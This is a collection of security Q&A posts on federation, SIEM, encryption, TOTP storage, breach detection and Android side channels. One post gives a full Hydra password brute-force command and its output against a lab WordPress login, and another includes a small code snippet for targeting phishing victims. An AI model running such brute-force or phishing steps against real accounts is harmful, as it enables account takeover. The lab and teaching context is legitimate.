What do I need to ask 3rd party to add trust We have ADFS and want to add a 3rd party application as trusted to it. I have certificate and metadata (xml) URI to give them but want to have a checklist what they need to give me. So far

HTTP location of their federation server
which active directory fields they want exposed in SAML

Is there anything else required?

I guess we are assuming the relying party is a SAML2 based relying party. Else, you should be inquiring what protocols they support. (e.g. WS-Federation/WS-Trust, SAML2, OAuth2,OpenID Connect). Not all of these protocols are supported on every AD FS version. These are all supported in Windows Server 2016 based AD FS.

What is the token format they expect? (SAML 1.1, SAML 2.0, JWT)

The URI used by them to uniquely identify themselves to your AD FS.

You should get details of the endpoints to which the tokens should be posted at logon and the type. (e.g. is it a POST binding vs redirect binding). And the logout endpoint too.

What claims they expect and what format of values. Its up to you to decide whether to extract them from AD, SQL, AD LDS or some custom attribute store.

Do they expect the tokens to be encrypted? if yes, they should provide the public portion of a cert which you'd use for encrypting tokens for only the relying party to view.

What signing algorithms they support (SHA1 vs SHA256)

Do they want a Name identifier? If so, what type (transient/persistent etc).

These are some of the questions you'd ask to ensure you can correctly configure a relying party trust. If they have metadata then configuring the trust becomes a lot easier and they can specify in metadata the answers to these questions.


Enterprise security incident response and detection I have a decent understand and experience with securing and setting up smaller networks, although absolutely no enterprise experience. I understand at such a large scale there are different technologies for managing the sheer number of machines and the complicated topology.

What security technologies are unique to enterprise environments? Firewalls would not count as they are prevalent in non enterprise environments as well.

At a guess  I would think there would be heightened monitoring and aggregated logging which could be centralized, perhaps a way to quickly isolate compromised machines from the rest of the network (on the fly vlans?)...what else?

I am not asking about more sophisticated versions of technology, as obviously an enterprise firewall with have more features/functionality than one for a small business.

I have looked at devices like the Cisco MARS and ArcSight...which seem to do centralized log aggregation and reporting prediction....are these the only examples of technologies specific to enterprise environments?

How much additional information would administrators have at their disposal from such unique technologies, compared to what standard logging and reporting tools.

From your title it appears you are asking what security incident response and detection technologies are unique to large enterprise environments?

Unique technology:

A central Security Information and Event Management (SIEM) system - large organizations need to be able to centrally gather logs and alerts from a large number of disparate systems (e.g. firewalls, AV, platforms, databases, applications) for correlation and monitoring. A smaller organization may get away with configuring email alerts or reviewing logs
A central incident tracking and workflow system - something like Remedy or better to log security incidents, manage ownership, allocate tasks and track to completion. A smaller organization may use email or a spreadsheet for this

People and process:

A 24 x 7 Security Operations Center (SOC) consisting of shift workers or follow the sun geographic pool of people
Formal security incident rehearsals both on paper and full on red team / blue team exercises

Just about everything also needs more powerful models, clusters, horizontal growth capability to cope with the scale and redundancy and geographic distribution needs that smaller organizations will not have.

Unique security technology outside of incident response and detection that you see more in larger organizations due both to scale, complexity and regulatory and audit requirements (probably not a complete list):

Data loss prevention
Email encryption
Removable media control
Identity and access management
Configuration compliance and file integrity monitoring e.g. Tripwire
Single sign-on
Web access management (e.g. Siteminder)
Federated identity
automated security source code analysis and application vulnerability scanning
hardware security modules
internal Certificate Authority (CA)
backup encryption / decryption appliance
DDOS filtering service
Dedicated IPS (i.e. not in a UTM)


Why is using a pseudo-random key considered more practical than a one-time pad? I am experiencing confusion regarding one-time pads. I have read that a one-time pad generates a key that has the same length as the plaintext. This is considered to be an overhead in sharing such a large key. So how could a pseudo-random key eliminate this overhead?

I have read of communication parties sharing a short seed which is then used to create a pseudo random key, and I am having trouble relating these two approaches.

No one uses One-time pads,  because it is impractical.  Modern cryptography utilizes block ciphers and stream ciphers because all you need to do is transmit a very small key,  using a key exchange method and then based on this key you can generate an effectively infinite amount of pseudo-random output.

A stream cipher works a lot like a one time pad.  If you message is X bytes long,  then you generate X bytes of PRNG stream and then XOR this with your plain text message to produce the cipher text.  If you ever reuse this PRNG stream you will probably seriously undermine the secrecy of your message.  The same holds true for a one time pad.  If the attacker knows the plain text,  then a simple XOR yields the pseudo-random bytes used to encrypt the message.


Can Snort run on a Raspberry Pi? I am in the preliminary stages of designing a cybersecurity suite for my home network. I don't have any servers or anything, just the standard home setup (computers, tablets, game consoles). The bandwidth on my service plan is about 25-35Mbps and I really don't think I'm even using more than 50% of that at peak usage.

I want to setup Snort IDS on a small discrete device. I have a Raspberry Pi Zero W but that may be pushing it regarding system resources. Would a Pi 3 work? Does anyone have any experience with a similar setup?

I plan to use it in a network tap layout and I don't want to use a dedicated PC for just that one role. The usual setup for these is to have it as a VM but if I use a PC for multiple VMs, that leaves a single point of failure which I'd prefer to avoid, if I can.

So, can a Raspberry Pi (any version) run Snort without issue?

Yes, you can. Here's how:

See section: "HOW TO INSTALL SNORT ON A RASPBERRY PI"

  Follow some of the recommended best practices for expanding the memory space on your SD card once Raspbian is installed.

https://blog.holdenkilbride.com/index.php/2016/10/25/turn-your-raspberry-pi-into-a-snort-ids/

and another solution that uses Kali Linux as a starting point:

https://www.securityforrealpeople.com/2014/09/installing-kali-linux-and-snort-on.html


TrueCrypt alternative (encrypt partition) I need to encrypt a partition, truecrypt could use keyfiles, (images and other)
Is there any other encryption tool with GUI which can encrypt entire partitions and not only files/folders?

Truecrypt's advice on this makes sense: use the native FDE that came with your operating system, i.e.

Bitlocker on Windows
FileVault on OSX
whatever your distro suggests (typically Encrypted LVM) on Linux.

(This will not necessarily be a good fit for everyone, but without more details of an individual requirement, it's the best advice you can reasonably  give.)


Sharing RSA Public Key for decrypting JWT amongst Load Balanced servers I'm trying to implement a cookie-less authentication mechanism for a web API that is stateless on the server (does not store session tokens) and can be load balanced across several servers.

I have implemented a JWT that gets returned to a client (mobile phonegap client) which gets stored in sessionStorage, and added to the header of post-authentication requests. While this works perfectly fine on a single server, I always want to have a standby server which can handle requests that initially authenticated on a different server. For this, I'm assuming that I will have to share keys amongst the different servers.

I don't understand the security implications of moving public or private keys across servers. Is it completely unadvisable? If so, how can I meet my requirements? If not, are there standard methods for sharing keys? For example, a distributed config service like etcd? Manual ssh transfers? Is it more advisable to have a single server handling authentication, and then just share the public keys amongst the servers for decrypting the token for calls to the rest of the API?

If you don't want to share keys AND you use asymmetric keys then you can key each server separately and have each server set a different iss (issuer) claim. Then the recipient of the JWT can "look up" the appropriate public key based on the iss claim. Our lookup was basically a config file that mapped the iss value to a file system location of the public key.

If you need to share secret keys then I'd look at key distribution techniques. A lot will depend on how much effort you want to put in.


Exposing internal, rental web app for multiple shops/employees I'm creating a web application for internal use at work. Mostly basic relational database structure (customers, orders, movies, etc.). It will be used in a multiple shops across town.

What is the best practice to expose app for employees? Maybe configuring VPN server which will allow to connect to network where frontend and backend is running? Or exposing whole server to public Internet?

Your question (as stated by Joshua) isn't necessarily a security concern. But part of it might be, so here is some background information you might want to think about:

If you create a webapplication and create it with security in mind, your two most likely risks might be: 1) Leakage of data (e.g. from your database) and 2) compromization of the server and (afterwards) an attack from that point towards your clients or third parties. If your webapplication is using proper authentication and all the well known security mechanisms it may very well be sufficient and you could just put it on the internet (that's what quite a lot of sites do ;). You could as well put it on an internal vpn and decrease the attack surface in that way. An attacker would have to gain access to the vpn, before being able to attack the server itself. This might increase attack complexity but also increases the complexity of your infrastructure. Since both can be equally safe and unsafe this is not really a security question.


How to reduce false positive in hydra http-post-form module due to more than 1 error? This question is based on security challenge on Basic Pentesting: 1.

Feel free to download if you want to reproduce this issue as well.

It's easy to do this if there's only a single error message when credentials entered was wrong such as DVWA login page challenge.

However, there are 3 different error for this challnge.

Here are 3 different scenario that I've tested.

1. u:root p:root
ERROR: Invalid username. Lost your password?

2. u:root/admin p:<blank>
ERROR: The password field is empty.

3. u:admin p:random
ERROR: The password you entered for the username admin is incorrect. Lost your password?

In this example, I'll use the 1st error which is Invalid username as hydra's blacklisting value.

hydra -V -e nsr -l admin \
127.0.0.1 http-post-form \
'/secret/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:Invalid username'

E.g.

wolf@linux:~$ hydra -V -e nsr -l admin \
> 127.0.0.1 http-post-form \
> '/secret/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:Invalid username'
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-06-07 18:20:37
[DATA] max 3 tasks per 1 server, overall 3 tasks, 3 login tries (l:1/p:3), ~1 try per task
[DATA] attacking http-post-form://127.0.0.1:80/secret/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:Invalid username
[ATTEMPT] target 127.0.0.1 - login "admin" - pass "admin" - 1 of 3 [child 0] (0/0)
[ATTEMPT] target 127.0.0.1 - login "admin" - pass "" - 2 of 3 [child 1] (0/0)
[ATTEMPT] target 127.0.0.1 - login "admin" - pass "nimda" - 3 of 3 [child 2] (0/0)
[80][http-post-form] host: 127.0.0.1   login: admin
[80][http-post-form] host: 127.0.0.1   login: admin   password: nimda
[80][http-post-form] host: 127.0.0.1   login: admin   password: admin
1 of 1 target successfully completed, 3 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-06-07 18:20:38
wolf@linux:~$

The problem is if the error string is not Invalid username, then hydra will assume the credentials are correct.

How do I fix this problem?

Is it possible to combine multiple blacklisting value in Hydra?

Hi Hydra Is not the best tool to bruteforce http post forma i suggest to use wfuzz

Here there Is the documentation of Wfuzz
https://tools.kali.org/web-applications/wfuzz


Using MySQL in .NET and other easily-decompiled languages? How would people use MySQL in C#, or really any other managed application? Couldn't someone simply decompile the application and find out the password/etc. for the database?

You should never put the password in the code. In general your connection settings live outside the compiled application code; for C# that would generally be in an app.config XML file, encrypted if need be.

But either way, if the application is able to make direct connections to the database, it has to know the password, and there is nothing you can do to stop the user recovering that information. If your model is relying on a client-side datum remaining secret, you're doomed. You'd need to reconsider where you are putting the security checks, for example by putting database access at the server-side, with only per-user application passwords at the client-side.


Using scrypt to encrypt data in a session variable Let's say I want to store some data in the node's session, for example, like an authenticity token. Obviously I want to store it in an encrypted way if it's going in a cookie, then decrypt it on a server to compare.

What's an acceptable way of accomplishing this? I was thinking of simply generating a random password on server start and using something like PGP to do the translation.

Is this a viable solution?

No. PGP will make your session a heck of large. So dont use PGP. Assymmetric cryptography is not required since the sender of the encrypted information (who encrypts), and receiver of the encrypted information (who should be able to read it), is the very same entity (your server).

This mean, that if you want to encrypt something to store in a cookie, use a symmetric cipher like AES256 instead.

But the best thing to do is not to store the data at all in cookies, instead, store it on server, generate a sufficently secure and random "session ID", and tie the "session ID" to the data blob on server.
The "session ID" is then what is sent via the cookie. Since the session ID is effectively random, that does not have any particular meaning for anyone else than your server, then it don't need to be encrypted.

Also scrypt is an password derivation function, not an encryption function, and is effectively one-way.

To prevent someone from hogging Resources on server, you can timeout sessions after a short period, and also have a function that if a specific IP request a new session, all old sessions from this IP is deleted.


signature and padding I use JcaContentSignerBuilder to sign a self-signed certificate but I don't know what the default padding is. My requirement is that I must NOT use PKCS#1.5 padding. The code I use is below - can someone tell me what padding this is going to generate?

KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("RSA", "BC");

ContentSigner sigGen = new JcaContentSignerBuilder("SHA256WithRSAEncryption").setProvider("BC").build(keyPair.getPrivate());

X509Certificate certificate = new JcaX509CertificateConverter().setProvider("BC").getCertificate(builder.build(sigGen));

Best regards,
Gianpaolo

It seems that SHA256WithRSA "implies the PKCS#1 v1.5 padding algorithm [RFC3447]"

See RFC4051, 2.3.2.

Sources : bouncycastle , crypto.stackexchange


Are there any secure ways to store the secret key used in a TOTP scheme? I'm writing a little webapp that demonstrates 2 factor authentication.  I'm using the TOTP protocol as described in RFC 6238.  In our scheme, we are storing, in addition to a b-crypted password hash for each user, a secret key, which is used to validate one-time codes.

I'm using postgreSQL for a database backend.  Let's pretend my database is compromised without my knowledge.  The passwords are all safe since I'm salting and bcrypting them: there is no easy attack that will reveal all of the passwords, short of brute forcing each one.

Is there any way I can safely store the key for the TOTP though?  I can't hash it, I need its plaintext for OTP validation.

Is there any way to securely store this key?

Yes. Encrypt the plain-text TOTP key on the application side and save the cipher-text into the database. If you cannot trust the application either, use a HSM (hardware security module) or create and use a software version of it.


IDP Explicit FTPS False-Positive - "FTP Cmd Telnet Opcode Evasion" Having just upgraded our FTP server to enforce Explicit FTP over TLS (on the standard port 21), we are experiencing connections failing sporadically, probably around 50% of the time. It's important to note that plain-text FTP is still run for one or two accounts that cannot support FTPS yet with their current setups.

When I check the IDP, it is sometimes rejecting FTPS packets, falsely identifying them as "FTP Cmd Telnet Opcode Evasion". This only occurs for FTPS (not plain-text FTP) and seems to be a lottery as to whether these packets will be rejected or allowed.

The only solution that I have been able to come up with is to disable the "FTP Cmd Telnet Opcode Evasion" rule in the IDP. Until I have more information regarding what the rule represents and why the IDP is sporadically rejecting the traffic, I have elected not to make this change.

Can anyone shed some more light for me on what this rule is protecting the network from, as well as what I might be able to do to allow the IDP to recognise FTPS as legitimate traffic?

NB (1): I set up Implicit FTPS (on port 990) and this works fine 100% of the time without the IDP thinking it's an evasion attack. I can only assume then that the IDP is expecting to see plain-text FTP on port 21 and nothing else, but then why does it work some of the time with FTPS?

NB (2): the IDP is on a Zyxel USG310.

I'm not familiar with Zyxel IDP but this is a known problem with other firewalls too.

My guess is that the specific IDS rule only does only a very shallow inspection at the TCP level and has no deep enough understanding of the FTP/FTPS protocol. And it will thus treat specific binary character sequences as telnet opcodes, no matter if they occur in a place where telnet opcodes could be or if they are accidentally part of the (binary) TLS handshake. Since the TLS handshake contains random data the rule might match sometimes and sometimes not.

This means that this rule has to be disabled to prevent false positives.


help identifying an IP address from email sent from my gmail account Someone sent the following email from my gmail account. I believe it was hacked and if I can find the IP address I may be able to identify the person who did it. Here is the information. Please let me know>

MIME-Version: 1.0
Received: by 10.25.30.3 with HTTP; Thu, 6 Nov 2014 19:58:50 -0800 (PST)
Date: Thu, 6 Nov 2014 21:58:50 -0600
Delivered-To: rachel.levin@gmail.com
Message-ID:
Subject: URGENTE
From: Rachel Levin
To: Rogelio Delmott
Content-Type: multipart/alternative; boundary=089e0112c59ea08a6405073cd48d

--089e0112c59ea08a6405073cd48d
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: quoted-printable

Rogelio,
Borra por favor inmediato todos mi correos a tu cuenta, washington no debe
 saber nuestra relaci=C3=B3n

--=20
Rachel Levin
www.rachelslevin.com

--089e0112c59ea08a6405073cd48d
Content-Type: text/html; charset=UTF-8
Content-Transfer-Encoding: quoted-printable

Rogelio,Borra por favor inmediato todos mi correos a =
tu cuenta, washington no debe =C2=A0saber nuestra relaci=C3=B3n=C2=A0-- Rachel Lev=
inhttp://www.rachelslevin.com">www.rachelslevin.com

--089e0112c59ea08a6405073cd48d--

The short answer is that it's possible there is no way to find out more details about this. You should definitely enable two-factor and change your password ASAP. That being said, I can give you a few suggestions if you want to try to find out more.

Google deliberately masks source IPs in their SMTP headers to protect your privacy. This is why you see a 10.xx.xx.xx IP, which is internal only. However, if you log into Gmail and go to the Last account activity section in the far lower right (below your email), you can see IPs that have logged into the system with your account credentials. You can find your IP by going to whatismyip.com. Once there look for IPs that don't match that. You could then search for "ip whois" on a search engine and find out more details about the IPs in question. Keep in mind whoever did this could have used a proxy service, making it difficult if not impossible for you to find out more details. To go further at that point it would likely have to involve law enforcement.


Amateur society - What file type to use in email? Suppose there is a small, non-profit, organisation; say a church or music society. They want to communicate with members, for example to distribute minutes of meetings. The members are have varying degrees of computer literacy, but none are IT professionals.

Currently they email Word documents to each other. This implies that they open Word documents received as attachments.

Questions: Would distributing the documents in a different format (eg. PDF) reduce the risk of attack via spoofed emails? Should the society simply not communicate via attachments? To be more specific: my concern is that a spoofed email would contain an attachment containing malware. I don't care that we receive spurious minutes or other communcation; rather I'm concerned that recipients will think they are receiving trusted attachments.

The format of the document doesn't matter.  It's a matter of balancing risk.  How lucrative of a target is your organization or its members?  How far do you think an attacker would be willing to go to get a persona on your group?  If you are sending out a Word document once a week, and all of a sudden a PDF shows up, it's up to the users to know better not to open that.

If security is that much a concern in your organization, your best option is to include all of the text in your email body, and don't use attachments.  But then again, if you are that concerned about security, it may be worth investing some money into a website or a Sharepoint site.


Is a multitenant web app built on Apache Cassandra more resilient against DoS attacks? Imagine a multitenant web app that stores data in a Apache Cassandra cluster, with fairly many nodes.

Now assume that:

Mallory launches a DoS attack against one tenant. (Perhaps that tenant is a company that people don't like, for some reason.)
It's a layer 7 DoS attack. I mean, it's not a SYN flood attack or something like that, but a "hand crafted" attack that actually reaches the database layer of the web app.
[Data stored on the Cassandra nodes] is sorted by tenant id. That is, data belonging to the tenant-under-attack is located on fairly few nodes, in comparison to the total number of nodes in the Cassandra cluster.

With these assumptions, other tenants should be largely unaffected by the DoS attack?  Assuming that their data resides on [nodes that host no data belonging to the tenant under attack], and neglecting how the attack affects the application/web-server-layer and network I/O.

And, in a manner, Cassandra is more resilient against DoS attacks?

(In comparison to e.g. a RDBMS or MongoDB or CouchDB.)

Well if you have multi-tenant app, you need to monitor each tenant service, and in case of fail, redirect him to a working cluster.
Basically, what you do in this case, you redirect affected customer to a blackhole, while the rest remains unaffected.
For example, if each of your tenants is using different FQDN, you can block affected customer on L7 load balancer you mentioned. In any case, you can make load balancer to detect DoS and block it automatically.
Ideally you need to work out the load balancing using geo-graphic regions and DOS detection as well per-tenant monitoring, so all of this at once will give you automation you are looking for. Also the security and user isolation is also here important, that the CPU spike will not affect another tenant.


What are the differences between the U2F and UAF FIDO authentication standards? Google recently announced support for Universal 2nd Factor (U2F) authentication in Chrome and started allowing that authentication mechanism to be used for 2-factor authentication across their various web services. After reading up on U2F I'm starting to really like the idea, but I also noticed that the Fast IDentity Online (FIDO) Alliance (the same organization which created the U2F standard) seems to have another, very similar authentication standard called the Universal Authentication Framework (UAF). At first glance, these two standards seem very similar:

With both standards, it seems the website requests authentication, the user authenticates with a local device, and the website then accepts this authentication and signs the user in.

The only differences I can see on the surface are that it seems that FIDO is intending for UAF to replace passwords entirely, whereas U2F is only meant to replace the second factor of the authentication process. I'm very unsure as to the reasoning behind this though, given that both authentication mechanisms seem to be so similar from the user's perspective.

How do these standards differ from an implementation and security standpoint?

Seems like you've got it pretty much down. Universal Authentication Framework (UAF) is meant as a replacement for simple authentication, and Universal Second Factor (U2F) is meant to replace today's time-based, second factor authentication. While it does seem like the end-user will experience the same experience on both devices, this won't always be the case.

With UAF, the user authenticates a device with the website, and then uses a biometric from that device going forward. The user then only needs to authenticate locally from that device going forward. The website can choose whether or not it will continue to store a password (seems dumb, but it's a choice the site can make).

With U2F the service optionally can request a second factor at anytime they choose. In this case the user would have to have a fob, USB, or second device in order to login/register. This increases the chances that it's only you accessing this account since you would have to have more than one of your devices in order to login. The newest implementation is more secure than an old school time based, 6 digit codes since the cryptographic key being stored is only authorized with the website you set it to. It makes phishing with look a like requests more difficult to accomplish.


Does auto unlocked disk encryption grant any security? Encryption obviously helps with securing your data.
On the other hand, auto unlocking seems to make it completely useless.

Does disk encryption grant any additional security over no encryption, when auto unlock option is enabled?

By auto unlock I mean key stored in the same place as date without passphrase.

It depends on what you mean by auto unlocking.

Auto unlock once when the device boots:  There are benefits because if your device is stolen when powered off then the attacker can not copy the data offline.   Without encryption, they could (even if they didn't know your login)

Always auto unlock (no matter what state the device is in, it will always unlock itself automatically for anybody and at any time):  I can't think of any benefits because by definition the device is unlocked and fully accessible.  I guess one benefit might be that if the device has a restricted IO/GUI/API then this prevents reverse engineering or getting at the raw data.


Is it a MUST to create SSH public key fingerprint? When I create an SSH key pair, The public key auto contains a key fingerprint and comment.

I am not from the field of IS and I want to ask if a fingerprint is a must.

Thank you,

The public key does not contain a fingerprint. The fingerprint is computed by using a hash like MD5 or SHA-1 over the public key. See also Checking ssh public key fingerprints for how to get different fingerprints (using different algorithms) for the same key.


Are we concentrating too much on password complexity? As a developer and/or user, do I really need to worry about password strength if the system does not allow brute force attack to be feasible (implements a delay or attempt counter) or implements a two-factor authentication mechanism?

As a user, if the system gives me assurances that the password is not stored in plain text, the database cannot be easily hacked or accessed, can I relax and select a "simple" password?

As a developer, if the rest of the system is implemented to protect the user's "simple" password (maybe by including a two-factor authentication mechanism that uses out of band communication, and/or by encrypted database), what is the point of annoying the user by forcing him/her to select long complex passwords?

There are two important risk categories here:

Attacks on the live system (e.g. guessing a user's password)
Attacks on offline password hashes (e.g. from a database dump)

The first type of attack can be split into various sub-categories:

A brute-force attack on a user's password.
Guessing the top 1000 most-used passwords on one user's account.
Guessing the top 3 most-used passwords on 1000 users's accounts.

Password complexity requirements largely solve the last two categories, and makes the brute-force style attack much harder. When combined with proper rate limiting, all three categories can be effectively made infeasible. Traditionally the "live system" attacks were the primary driver for stronger password requirements.

The second type of attack usually occurs after your server is compromised. Despite everyone's best intentions and efforts, sites and servers do get hacked. You can't protect yourself from every possible attack vector, and that's a given in the world of security. You will get hacked at some point.

There are three major problems with having a database dump stolen:

Private user data is leaked, often consisting of personal information.
User passwords are leaked, either as plain text (if you're not doing your job!) or as a hash.
Users re-use passwords across different services.

You cannot stop the private user data from being leaked. Attempting to reversibly encrypt or obfuscate the data in the database just leads to a layer of complicated abstraction in your code, and provides little or no security benefit. The best thing you can do is have rigorous quality assurance testing and security testing performed on your products, services, and infrastructure, in order to minimise the risk of having the data stolen.

However, you can protect the users' passwords. By hashing the passwords with a one-way cryptographic function, we can make it difficult for an attacker to discover the original plain-text password.

Standard techniques using MD5 or SHA1 alone were discovered to be flawed, since large databases (called rainbow tables) could be pre-computed ahead of time, allowing an attacker to look up a hash value in a table and find its corresponding plain-text password. This technique was combated using salts, which aim to make each hash unique to the user by introducing a per-user unique random value, which made rainbow tables infeasible. Attackers later discovered that hash functions could be computed in a highly parallel way by GPUs, using technologies like OpenCL and CUDA. Instead of a few million hashes per second on the CPU, attackers could now compute billions of hashes per second on a GPU, or hundreds of billions per second on a GPU cluster, all utilising nothing more than off-the-shelf consumer hardware and freely available software. This means that a pure sha256(pass+salt) type of hash is no longer secure. The alternative is a key-derivation algorithm that is designed to be slow, such as PBKDF2 or bcrypt. These are more difficult to compute on parallel devices like GPUs, and reduce the number of computations per second down to a level that makes a full brute-force infeasible. However, dictionary attacks will still be reasonably feasible, especially if common passwords are used.

So, in conclusion: no, I don't think we're putting too much weight on password complexity requirements. The attack vectors involved are complicated, and the computational power available to people today is high enough to make common passwords dangerous no matter how slow and computationally expensive the key-derivation function is. Users re-use passwords, so we must protect those passwords as best we can.


Is it possible to detect security breaches as a user before they're announced? I'm always concerned about the security of services I use. I'm even more concerned since security breaches have been happening more and more lately, and they always generate a lot of noise in the media.

Now I'm already trying to secure my accounts to the maximal amount possible, like using 2FA wherever possible and using a strong password manager. However these measures won't protect upon security breaches.

Is there a somewhat reliable method to detect security breaches before they are announced so I can act and don't have to react?

Optional bonus question:
What steps can I take to ensure security of my data in case there's an unannounced breach?

You can't detect it with 100% certainty because not everyone who steals your data wants to phish you, or sell it. But for those who do want to phish you - and that's a large portion of them - there are some tricks you can apply.

In most places, you cannot provide fake details. You need to enter your name, physical address, credit card information, social security number, etc. You don't really have much control over the real details.

However, what you do have control over is your email address. You can always provide a dummy email account to anyone, for any reason, even if the rest of your details are required to be legitimate.

Roving Email Address Method

Let's call this REAM. I like REAM.

Here's what I do: I buy a few domains and create unlimited amounts of email addresses, then use a different email address for each website on which I have an account. I also use Gmail, Yahoo, etc.

Buy 2-3 reasonable domain names, and give the accounts reasonable, unique names like michael.duncan2017@mysitex.com, jtrounders2020@heysitey.com, etc. You can also use free email providers, but having to repeatedly enter your phone number might cause you some issues.

It's a lot of work, but it pays off in the long run. When you're asked for your email address at a retailer, give them one of those emails, and use it ONLY for them. Make sure you use each email address only once. Carry a list of email addresses in your wallet.

Now why would we want to detect phishing, instead of sending it to the spam folder? Because a phishing attempt on these emails may indicate a breach.

I've found that, with astounding regularity, without even providing my email address to additional companies beyond the first one, that I get phished on a regular basis on each account. In fact, I've seen dozens of such breaches.

Here's a small list of some notable phishing attacks I've found:

OPM (2011, undisclosed until 2015)
IRS (2015, undisclosed until late 2015)
IRS (2016. Repeat of 2015? Undisclosed until recently)
Pizza Hut (early 2015, breach still undisclosed)
Target (2013?)

In most of the emails, the attackers usually have bad English. In some, they do not. They'll also google a location near the provided address, and say they have a job opportunity, etc.

In some cases, I will even get phone calls from them in the same area code as me! It's actually very easy to get a burner phone at Wal-Mart and have it set to the same area code as your victim. If you're clever enough, and they're in the same country, then you can quickly lead them down the path of the damned.

In nearly every case, they try to get me to click on an infected website. I will go there anyway (on a dummy+virtual machine, obviously) because I am a masochistic security researcher who revels in reverse-engineering malware, and making attackers suffer. Suffer mortals as your pathetic magic betrays you! You may not want to visit them, however.

The Multiple Phone Number Method

Some like to try and use multiple phone numbers. I would not do this. It's neither reliable, nor effective because:

Phone numbers can be enumerated very easily, and auto-dialed/texted.
It costs a lot of money to have multiple phone numbers.
You'll likely get calls from people who knew the person who knew the previous owner.

Therefore, REAM is a much better way than this.

The Plus Email Address Method

I guess we can call this PEAM.

Others have suggested the plus email address method. Gmail supports this. For example, if your email address is herpyderpyderp100@gmail.com, it's recommended to use herpyderpyderp100+pizzahut@gmail.com instead. Google will apparently discard the plus side of the email address.

Using this method could be good for a lot of reasons. However, very few - if any - of those reasons would apply to actual skilled phishers. I would not recommend using this method because it may only work against run-of-the-mill spammers, not actual skilled phishers. Here's why:

Phishers are more intelligent than the average spammer. They are targeting you personally. If you respond, they will build a profile on you, or maybe they already have a profile built on you based on stolen data sets.
Spammers are willy-nilly sending spam to everyone they can. Your plus addressing still gets delivered to your inbox. And you just know you want those lengthening pills... so you end up buying them anyway, and they don't work, and all the women laugh at you. [sobbing uncontrollably] Ahem...
This method can be easily circumvented with code. I'll demonstrate:

List<String> possiblyIntelligentTargetList = new List<String>();

foreach (string email in emailAddressCollection)
{
    // We might've found a plus-size individual
    if (email.Contains("+"))
    {
        // Ignore the plus email address
        string realEmailAddress = email.Split("+")[0] + "@" + email.Split("@")[1];

        // Phish user's actual email address.
        PhishUser(realEmailAddress);

        // Add their provided email to a new list so we can analyze later
        possiblyIntelligentTargetList.Add(email);
    }
    else
    {
        PhishUser(email);
    }
}

Of course, this could be made much better, but this is a rough example of how easy it would be do to this. It only took me like 0.05 miliseconds to write this.

With the above code snippet, the plus side of the email address is discarded. Now how will you know where the breach came from? Because of this, I would recommend that you get REAMed.

Trawling the "Deep Web"

bmargulies brings up an interesting, and very good point: your data may sometimes appear on the Deep Web. However, this information is usually for sale.

While yes, it may be possible to detect a breach before it's announced by visiting the Deep Web or using an Identity Protection Service that does, this method has it's drawbacks as well. Here are a few problems I see with looking on the Deep Web:

While some Identity Protection services are excellent, they may cost a fair bit of money. Identity protection services may be provided for free, but they usually come after the breach announcement, and the protection only lasts for a limited time, usually around 1-2 years.
You usually have to buy this information from attackers, unless they released it for the Lulz.
The breached data simply may not appear on the Deep Web at all.

As you can see, there are a lot of pros and cons of every single method here. No method is perfect. It's impossible to get 100% perfection.

REAM also detects individual breaches

This method doesn't just detect breaches to companies. It detects breaches to individuals. You may find that, after giving someone your email address, they send you phishing attacks several months later. It may come from them, or it may come from someone else who hacked them.

Now that my data has been stolen, what do I do?

If you have a strong suspicion that your sensitive information has been stolen, you should do the following:

Shut down and replace all credit and debit cards associated with the aforementioned email address.
Put a freeze on your credit so they can't do anything with the details.
Inform the company/individual that they've likely been hacked, so they can take the appropriate steps.
Read about Virtual Credit Cards in the answer provided by emory for the bonus question below.


Career advice - Is it possible to get a security job without formal education? What can compensate for the lack of it? Context: I am twenty and I am a high school dropout. I have a basic working knowledge of software development, penetration testing, vulnerability research, reverse engineering and exploit development. I also have one year of experience as an external contractor for a small IT business - contract that I got responsibly disclosing bugs in their software with them and not through a traditional interview - and a small number of uninteresting CVE numbers.

I am unsurprisingly struggling searching for a job. I know of many working in infosec without a degree, but no one without a high school diploma. Is it even possible? Would a certification - such as OSCP/OSCE or even CEH (which I know to be a well known joke among professionals, but seems to be appreciated by employers) - compensate for the lack of formal education?

I was said that publishing independent research and exploits can be useful, and I am already doing it, though I am not skilled enough to find the type of bugs and write the type of exploits that open the doors I am trying to get in.

How can I prove my value to potential employers in the short run?

It greatly depends on where you live and what your expectations are. If you are looking for a penetration tester job, yes you will have a chance. The field is in general very understanding for one's past but you will have to prove yourself very often prior getting hired by solving some sort of challenge. Some companies even offer internships. With regards to the mentioned certifications, I would suggest you do the OSCP. Forget about CEH. I even know people who sort out your CV and not return to you if you list it! It has a bad reputation.

My advice for you:

Reserach the pentest companies where you live and if your
countries market has a specific preference for a certification
Join DEFCON, OWASP chapters in your area
Attend conferences - especially smaller ones, don't bother Las Vegas for now, that are close to you and start networking!
Write blogs, read blogs, blog! Make yourself a profile
Network, Network, Network You're more likely to land a job if you get internal referral in your position. But you also have chances without.

Good luck and welcome to the most amazing industry on this planet!


Android side channels: what can one app observe about other apps? What information can a malicious Android app observe about the behavior of other apps running on the same phone?

In more detail, suppose app M is malicious and is running in the background.  Suppose app A is legitimate and is running on the same phone.  What information about A can M observe?  What can M infer, about the behavior of A or the user's interaction with A?

I know that there are some files in /proc that are world-readable, so this would let M observe some (possibly innocuous) information about A by reading /proc/N/foo where N is the pid of some process in app A and foo is some world-readable file.  What does this let M see?  What can M infer, based upon this information?

Are there any other ways that app M can learn something about the behavior of app A?  For instance, can app M learn what IP addresses app A is communicating with?  Can app M learn whether app A is currently using some exclusive-access resource/sensor (e.g., the microphone, the camera, etc.)?  Can app M infer anything about text being typed into app A through the on-screen soft keyboard?

On multi-core platforms at least (and most new smartphones are multi-core), all the side-channel attacks on branch prediction and cache should work, as long as the attacker can access a clock with enough precision. The ARM architecture has a "cycle counter" that application code can use, but it has to be first enable from privileged code (kernel); see this answer. Native code is possible for apps starting with Android 2.3 (with the NDK).

